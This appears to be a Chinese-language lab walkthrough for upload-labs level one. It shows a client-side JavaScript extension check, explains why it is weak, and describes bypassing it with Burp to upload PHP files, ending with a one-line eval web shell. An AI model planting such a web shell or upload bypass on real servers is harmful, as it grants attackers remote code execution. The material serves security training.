文章目錄
第一章 前端限制與繞過
有些Web 應用的文件上傳功能,僅在前端用JS 腳本做了檢測,如檢測文件後綴名等。upload-labs 第一關,以下是經典的代碼。
第二章 代碼審計-源碼
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型爲:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
此段JS 代碼採用白名單策略,檢測文件後綴名
。配合表單事件使用。
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>請選擇要上傳的圖片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上傳"/>
</form>
前端JS 腳本檢測的安全防禦是十分薄弱
的。可以非常輕鬆的繞過。
第三章 文件上傳案例
使惡意文件後綴名符合白名單策略
,用Burp 掛代理抓包,然後修改文件後綴名
即可。
對於文件上傳,只從Web 前端進行檢測顯然防護不足,那麼服務器端檢測就特別重要了。一般服務器端檢測,採用黑白名單策略。
第一步 上傳一張jpg文件 並查看文件路徑
第二步 上傳.php文件
[<?php phpinfo();?>]
第三步 使用burp抓包,修改文件後綴名爲.php文件
第四步 查看上傳的文件是否成功執行
第五步 上傳一句話木馬 蟻劍連接
Yijuhua.jpg內容:[<?php @eval($_REQUEST['cmd']);?>]
免責聲明
本文檔供學習,請使用者注意使用環境並遵守國家相關法律法規!
由於使用不當造成的後果上傳者概不負責!